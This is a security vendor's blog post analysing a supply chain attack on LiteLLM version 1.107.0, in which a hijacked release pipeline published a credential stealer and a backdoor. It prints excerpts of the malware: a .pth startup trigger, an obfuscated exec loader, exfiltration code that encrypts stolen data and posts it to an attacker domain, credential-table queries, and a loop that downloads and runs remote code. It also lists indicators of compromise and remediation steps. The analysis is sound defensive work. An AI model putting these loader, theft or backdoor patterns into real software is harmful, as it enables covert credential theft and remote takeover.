LiteLLM Supply Chain Attack

LiteLLM 1.107.0 Supply Chain Attack: How a Hijacked Release Pipeline Signed Malicious Code

Lidor Machluf October 26, 2026

LiteLLM 1.107.0 Supply Chain Attack: How a Hijacked Release Pipeline Signed Malicious Code

Book a Demo

TL;DR

On October 21, 2026, Upwind identified a supply chain compromise in LiteLLM, the popular open-source AI gateway, with ~22.8 million weekly PyPI downloads. Version 1.107.0 was published to PyPI and to Docker Hub/GHCR containing a credential stealer and a remote code loader.

We were the first to report it publicly, in BerriAI/litellm#47826 and on X, 27 minutes after the upload. We published our initial analysis while 1.107.0 was still on PyPI, and BerriAI’s incident report credits us with helping detect it.

This post adds what we have learned since: the lookalike repository the release was built from, the infected Docker images, and the full IOCs. PyPI removed the release less than two hours after it went live, and BerriAI took down the Docker images shortly after.

The attacker didn’t steal a PyPI token and didn’t commit to the real repository. They pointed LiteLLM’s own release pipeline at a lookalike GitHub repository, Berri-AI/litellm instead of BerriAI/litellm, and let it build, sign and publish the poisoned release. The real git tag stayed clean.

The malware runs on every Python start once installed. No import litellm is needed. It collects:

  • Cloud credentials, including live IAM role tokens from the cloud metadata service, which it validates with AWS STS before sending
  • Every LLM provider API key stored in the LiteLLM proxy database, using a module written specifically for LiteLLM.
  • The environment variables of every process on the machine
  • SSH, GPG and TLS private keys
  • Git, npm, PyPI, Docker and Kubernetes credentials
  • Browser passwords and cookies
  • Credentials for AI coding tools (Claude, Codex, Gemini, Cursor, Copilot)

Everything is encrypted with a key only the attacker holds and sent to litellm[.]dev, a domain registered eight days before the attack. A second component installs an hourly backdoor that downloads and runs code chosen by the attacker. It was never armed.

Affected artifacts and safe pins:

ArtifactMaliciousExposure window (UTC, Oct 21)Safe pin
PyPI litellm1.107.0 (all 7 wheels)11:39 – 13:231.106.2
docker.io/litellm/litellmv1.107.0, latest, main-latest, main-stable11:46 – 14:20v1.106.2
ghcr.io/berriai/litellm{,-database,-non_root}v1.107.0, latest, main-latest, main-stable11:46 – 13:51v1.106.2

Not affected: BerriAI’s private enterprise registry, and conda-forge (which never shipped 1.107.0; its feedstock was archived as a precaution).

Full technical disclosure: BerriAI/litellm#47826. BerriAI’s incident report: docs.litellm.ai. OSV: MAL-2026-2144.

How is this attack different?

No stolen publishing token. The attacker used stolen GitHub accounts to run LiteLLM’s real, private release workflow. The workflow signed and published the artifacts itself, exactly as it would for a legitimate release.

One hyphen. The release workflow was repointed from BerriAI/litellm to Berri-AI/litellm. The git tag v1.107.0 never contained malicious code; only what was built did. Anyone auditing the source on GitHub would have found nothing.

No install hook. There’s no setup.py trick or post-install script. The payload is a .pth file, a little-known Python feature that runs code every time the interpreter starts. Scanners that only look at install scripts see nothing.

It targets the AI gateway itself. LiteLLM sits in front of OpenAI, Anthropic, Bedrock, Azure and dozens of other providers, and stores their API keys. The stealer has a dedicated module that connects to LiteLLM’s own database and dumps the credentials table. One infected proxy can leak the keys to every model provider an organization uses.

Timeline

Time (UTC)Event
May 27, 18:53Agent Platform master key committed to a public LiteLLM repository
Oct 10, 21:27Attacker uses the key to obtain an organization owner’s GitHub CLI token
Oct 10, 22:11 – 22:14Throwaway CI workflows exfiltrate two more maintainers’ GitHub tokens
Oct 13, 00:45litellm[.]dev registered
Oct 13, 06:43GitHub account letters9813 created
Oct 18 – 20Attacker tests the backdoor’s control file: localhost:18909 →then test.test.com:18909 → then emptied
Oct 21, 08:56 – 10:4610 commits pushed to the lookalike repo Berri-AI/litellm
Oct 21, 10:46LiteLLM’s private release workflow is dispatched with the org owner’s stolen token, pointed at the lookalike repo
Oct 21, 11:11Release approved with a second maintainer’s stolen token
Oct 21, 11:21Wheels built
Oct 21, 11:39litellm==1.107.0** published to PyPI**
Oct 21, 11:46Infected Docker images pushed, including latest
Oct 21, 12:06Upwind opens #47826 with the decoded payload and IOCs
Oct 21, 12:57Upwind adds that the Docker images are infected and traces the build to the lookalike repo
Oct 21, 13:23PyPI removes 1.107.0
Oct 21, 13:50BerriAI declares SEV-0
Oct 21, 14:20Last infected Docker tag removed
Oct 21, 16:32BerriAI traces the release to three engineers’ stolen GitHub CLI tokens, revokes them and removes all but one user from the GitHub org
Oct 21, 18:30BerriAI publishes its incident report. Registries locked and regular releases paused
Oct 23BerriAI publishes its full investigation

The attacker’s infrastructure was ready eight days before the release.

How did the attacker get in?

The release was built from code that never existed in the real repo

When we compared the 1.107.0 wheel against GitHub, the code didn’t match the v1.107.0 tag. Instead, it was byte-identical (3,131 of 3,131 files) to a8113b0d, a legitimate commit on main from 08:50 that morning. That commit is one step after the tag.

As a baseline, we checked the previous legitimate releases. The 1.106.0 and 1.106.2 wheels match their own tags exactly. Something had changed in how 1.107.0 was built.

The answer was in the provenance attached to the Docker images. It names LiteLLM’s private project-releaser workflow as the builder, and the source as:

https://github.com/Berri-AI/litellm   ← lookalike (hyphenated)
https://github.com/BerriAI/litellm    ← real (used for every previous release)

Ten commits, written in GitHub’s web editor

The lookalike repo was a fork of the real one. The attacker added 10 commits on top of a8113b0d. Because forks share storage with their parent, these commits are still viewable through the real repository even though Berri-AI has since been deleted (full diff):

TimeCommit messageWhat it actually did
08:56Add import statementAdded cook.pth
08:57Change greetingAdded cook.py, the stealer
08:58AddAdded sitecustomize.py, the backdoor
09:05 – 09:06chore: set litellm version to 1.107.0 (+3 similar)Made the version numbers look like a normal release
09:45Update print statementUpdated the backdoor
09:48Add**Added data = "cook" to **pyproject.toml
10:46fix(docker): copy cook data into the rust-native stageAdded the payload to the Docker images

The messages “Add import statement”, “Change greeting” and “Update print statement” are GitHub’s web-editor defaults. The commits were authored as Berri-AI <[email protected]>.

The one line that did it

LiteLLM’s wheels are built with maturin, a Rust/Python build tool. maturin supports a data setting that copies a folder’s contents into the installed package. The attacker added a single line:

[tool.maturin]

 manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"

 module-name = "litellm.rust_bridge._native"

 python-source = "."

+data = "cook"

 python-packages = ["litellm_cli"]

Anything in cook/purelib/ now lands directly in the user’s site-packages folder when they run pip install. Nothing else in the build looks unusual. The build tool version, timing and signing all match earlier releases, because it was the real pipeline.

Where the tokens came from

According to BerriAI’s full investigation:

  • On May 27, a configuration file committed to the public LiteLLM-Labs/lite-harness repository accidentally included the master key to a LiteLLM Agent Platform deployment, an experimental tool BerriAI used to orchestrate agents. The commit was quickly force-pushed over, but the key was never revoked.
  • On October 10, the attacker used that key to query the Agent Platform API. The response included the configuration of every managed agent, and with it the GitHub CLI token of one of BerriAI’s two organization owners.
  • Within the hour, the attacker used the owner’s token to push throwaway branches to two repositories. Their CI workflows sent repository secrets to an attacker-controlled endpoint, exposing the GitHub CLI tokens of two more maintainers. Both runs were deleted minutes later.
  • On October 21, the owner’s token was used to bypass branch protection on BerriAI’s private project-releaser repository and change the release workflow so it could build from another repository. The attacker pointed it at Berri-AI/litellm, approved the release with the second maintainer’s token, and used the third to delete the run records afterward.

A key exposed in May and never revoked led straight to LiteLLM’s release pipeline in October.

This is LiteLLM’s second release compromise this year. After the first, in March, BerriAI moved releases to a private repository, made Docker tags immutable and started signing images. Those controls held, until an owner-level token let the attacker switch them off. BerriAI has since published its full investigation, and says it will resume releases only once it can be confident they are safe.

What is in the malicious package? 

Every 1.107.0 wheel, on every platform, contains three extra files that install into site-packages:

cook.pth             12 bytes

cook.py          22,252 bytes

sitecustomize.py 25,509 bytes

(The Windows wheel carries the same files with Windows line endings, so their sizes and hashes differ slightly.)

cook.pth: the trigger

import cook

That’s the whole file. Python automatically processes every .pth file in site-packages at startup, and any line beginning with import is executed. So every Python process on the machine now imports cook: your app, your tests, a Jupyter kernel, even pip itself.

cook.py: the stealer, wrapped once

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327q...')))

One line: base64, then zlib, then exec. We decoded it statically without running it. Inside is a 1,237-line Python program that calls itself privcollect:

PC_URL   = 'hxxp://www.litellm[.]dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys',
              'shell_hist', 'cloud_creds', 'dev_secrets', 'container_creds',
              'cicd_secrets', 'ai_devtools', 'env_vars', 'db_litellm',
              'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True

It runs in a background thread, so the host program starts normally and nothing looks wrong.

sitecustomize.py: the backdoor

sitecustomize is another Python startup hook. The attacker’s version forks a hidden background process and loops forever:

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"

async def run():
    text = await fetch_text(GITHUB_RAW_URL)        # 1. ask GitHub where the server is
    domain = next(...)
    if not domain:
        return                                      #    (empty file = do nothing)
    await resolve_domain(domain)
    exec(zlib.decompress(base64.b64decode('...')))  # 2. run the stealer again
    code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
    await exec_code(code)                           # 3. download and run anything

Every hour it reads a text file on GitHub. If the file holds a server address, it steals everything again and then downloads and executes whatever code that server returns.

What does it steal?

Each of the 16 modules targets a category of secrets:

CategoryWhat it takes
Cloud~/.aws, ~/.azure, gcloud and kubeconfig files; live IAM role credentials from AWS, GCP and Azure metadata services; ECS task credentials
LiteLLM proxyIf DATABASE_URL is set: the full LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable, i.e. every stored provider API key
EnvironmentVariables of every readable process on Linux, via /proc/*/environ
KeysAll of ~/.ssh, GPG private keys, TLS keys from /etc/ssl/private and Let’s Encrypt
Developer.git-credentials, .npmrc, .pypirc, Maven, Gradle, Cargo, .env files, *.pem/*.key files
CI/CD and containersKubernetes service-account tokens, Docker secrets, GitLab runner config, Jenkins master key, Vault and Terraform tokens
AI toolsClaude, Codex, Gemini and Qwen credentials, plus Cursor, Windsurf, Kiro and VS Code MCP configs and Hugging Face tokens
BrowsersSaved passwords (decrypted on Windows and Linux), cookies, history, Firefox key databases
ReconHostname, OS, network interfaces, routes, listening ports, shell history

The LiteLLM-specific module

This is the part written for this target. If the proxy has a database, the stealer launches a helper process that connects through LiteLLM’s own database client and runs:

creds  = await _q(db, 'SELECT "credential_name", "credential_values" '
                      'FROM "LiteLLM_CredentialsTable" LIMIT 500')
models = await _q(db, 'SELECT "model_name", "litellm_params" '
                      'FROM "LiteLLM_ProxyModelTable" LIMIT 500')

Afterwards it kills the database engine process it started, to avoid leaving traces.

It checks that the stolen cloud keys work

After grabbing AWS credentials, the stealer calls AWS STS GetCallerIdentity to confirm they’re valid and learn which account and role they belong to. If boto3 isn’t installed, it signs the request by hand:

r = c.get_caller_identity()
return {'arn': r.get('Arn'), 'account': r.get('Account'), 'user_id': r.get('UserId')}

The attacker knows which credentials work and who they belong to before using them.

How does the data leave?

Everything is packed into one JSON document, encrypted, and sent in a single request:

key, iv = (os.urandom(32), os.urandom(16))
ct = pc_aes_enc(key, iv, data)                     # AES-256 with a random key
kct, md = pc_rsa_enc(PC_PUBKEY.encode(), key)      # key locked with attacker's RSA-4096 public key
body = pc_pack(hdr, iv + ct, kct)
ok = pc_post(PC_URL, body, PC_TOKEN)               # POST to www.litellm[.]dev/healthcheck
  • Only the attacker can read it. Even with a full network capture, defenders can’t see what was stolen.
  • Lookalike destination. litellm[.]dev resembles the real litellm.ai. litellm.ai appears in 310 files across LiteLLM’s repository; litellm[.]dev appears in none.
  • Odd fingerprint. Requests use the user agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; ...), a 2006-era browser on a 2015 OS, plus a custom X-Token header. Both are easy to detect.
  • Proof of success. The marker file /tmp/.pc_once_72129118c59f5636c0bb is written only after a successful upload. If you find it, the data was stolen. If it’s missing, that doesn’t mean you’re safe: containers and tmp cleanup erase it. On Windows the /tmp path usually doesn’t exist, so the marker is never written and the stealer runs again on every Python start.

Was the backdoor ever used? 

The backdoor reads its target server from domain.txt in the attacker’s GitHub repo. That file’s full history:

DateContent
Oct 18localhost:18909
Oct 19test.test.com:18909
Oct 20, 09:15(emptied)

The attacker tested the loader and then emptied the file the day before the release. Through the whole exposure window, the remote-code stage did nothing. One commit would have activated it on every infected machine at once, but the account has since been removed. The backdoor only works on Linux and macOS, because it relies on fork, which Windows doesn’t have.

The stealer, though, didn’t need the backdoor. It runs from cook.pth with no external trigger.

Is this Shai-Hulud?

No. We searched the decoded payload for markers of the Shai-Hulud and Miasma worm families: campaign strings, GitHub dead-drop repos, workflow injection, npm or PyPI republishing, wipers and dead-man’s switches. None of them appear.

privcollect is a single-target infostealer: it collects once, encrypts, and sends to its own server. It doesn’t spread, doesn’t publish other packages, and doesn’t destroy data. Its config fields (PC_TARGET, PC_POINTS, PC_EXEC_B64) suggest a reusable stealer kit that gets a custom build per target. This build was tailored to LiteLLM.

Who is affected? 

  • litellm sees ~22.8M weekly PyPI downloads, and many AI frameworks and agent tools depend on it.
  • PyPI exposure lasted ~1 hour 44 minutes. Docker latest was infected for up to ~2.5 hours, and any deployment that auto-pulled latest in that window ran the stealer.
  • Because .pth runs on every Python start, any CI job, notebook or service that installed an unpinned litellm during the window is affected, not just LiteLLM proxy users.
  • Downstream projects started pinning away from 1.107.0 within hours (for example cisco-ai-defense/skill-scanner, GraflowAI/graflow and VectifyAI/PageIndex).

Indicators of Compromise

Packages and images

TypeValue
PyPIlitellm==1.107.0 (wheel manylinux x86_64 sha256 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7; sdist 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819)
Docker indexlitellm/litellm sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e
GHCR indexlitellm-database sha256:c00f9d92c427…, litellm-non_root sha256:7b00e91cd2fe…

Files

Filesha256 (Linux / macOS wheels)sha256 (Windows wheel, CRLF line endings)
site-packages/cook.pth7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
site-packages/cook.py9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be2503ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
site-packages/sitecustomize.py34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fab6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

Network

TypeValue
Exfil URLhxxp://www.litellm[.]dev/healthcheck (POST)
Exfil domainlitellm[.]dev (registered 2026-10-13, Cloudflare)
HTTP headerX-Token: XWiA8gZNa7NcX2XRoAEb
User agentMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
Backdoor control filehttps://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt (account removed)
Backdoor payload pathhttp://<domain>/codepy

Host

TypeValue
Exfil-success marker/tmp/.pc_once_72129118c59f5636c0bb
Backdoor lock/tmp/remote_code_loader.lock
Environment variablePRIVCOLLECT_ACTIVE=1
Temp dirs/tmp/.pc_sq_*, /tmp/.pc_e_*
ProcessDetached python with working directory / and output sent to /dev/null

GitHub

TypeValue
Lookalike repogithub.com/Berri-AI/litellm (deleted)
Malicious commits9b98cd93, 51020100, 7f7f9892, 1a657baf, 74983c8e, 615e57ff, 6a4390f1, 91d6546f, 783c43bc, 20535d8f
Commit authorBerri-AI <[email protected]>
Backdoor accountletters9813 / [email protected] (deleted)

What should security teams do now? 

Check whether you were exposed:

pip show litellm 2>/dev/null | grep -i '^version'
find / -name 'cook.pth' -path '*site-packages*' 2>/dev/null
find / -name 'litellm-1.107.0.dist-info' 2>/dev/null
ls -la /tmp/.pc_once_72129118c59f5636c0bb /tmp/remote_code_loader.lock 2>/dev/null

Also check container runtimes for the image digest sha256:1bbcb144…, and check DNS and proxy logs for litellm[.]dev.

If you were exposed, clean up in this order:

  1. Don’t run pip first. Any Python start runs the malware again, including pip uninstall.
  2. Delete the files from the shell: cook.pth, cook.py, sitecustomize.py and their __pycache__ copies, in every affected site-packages.
  3. Kill the hidden background process holding /tmp/remote_code_loader.lock.
  4. Reinstall litellm==1.106.2, or better, rebuild the image or virtualenv from scratch.

Rotate, assuming everything reachable was stolen:

  • The cloud IAM role attached to the instance, pod or task
  • Every provider API key stored in your LiteLLM proxy, plus its master and virtual keys
  • The database password from DATABASE_URL
  • Every secret present in any process’s environment on the host
  • SSH keys, Git, registry, Kubernetes and CI/CD tokens

Then hunt in CloudTrail from 11:39 UTC on October 21 onward:

  • sts:GetCallerIdentity from your instance or task role, called from outside your infrastructure
  • Model invocations you don’t recognize, for example in Amazon Bedrock (LiteLLM users often have AI-provider access)
  • IAM or account enumeration by that role

Going forward:

  • Pin dependencies and Docker images by version or digest. Never auto-deploy latest.
  • Treat .pth files and sitecustomize.py inside site-packages as high-severity findings in package scanning.
  • Revoke exposed credentials immediately, even after the commit is removed. In this incident, a key force-pushed out of a public repository but never revoked is how the attacker got in.
  • Give automation scoped service accounts, never personal owner-level tokens. One owner token was enough to switch off the release protections.

How can Upwind help?

This attack shows why runtime visibility matters alongside static package scanning and source review.

The source code on GitHub was clean, and the malicious release was built and signed by the vendor’s own pipeline. Nothing ran at install time, every malicious step happened later, at runtime: code executing on every Python start, credential and secret collection, cloud metadata access, a hidden background process, and encrypted exfiltration to a lookalike domain.

Upwind detects suspicious process behavior, unusual access to credentials and secrets, and outbound connections to attacker infrastructure across cloud workloads, containers and CI/CD environments. By correlating runtime execution with network activity and credential access, Upwind helps security teams determine whether a malicious dependency was present or actually executed, and which credentials may have been exposed.

To learn more about how Upwind detects malicious dependencies at runtime, schedule a demo.

References

Demo the Upwind Platform

See how Upwind is reducing risk and strengthening cloud security for global enterprises.
Get a Demo
Contents
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS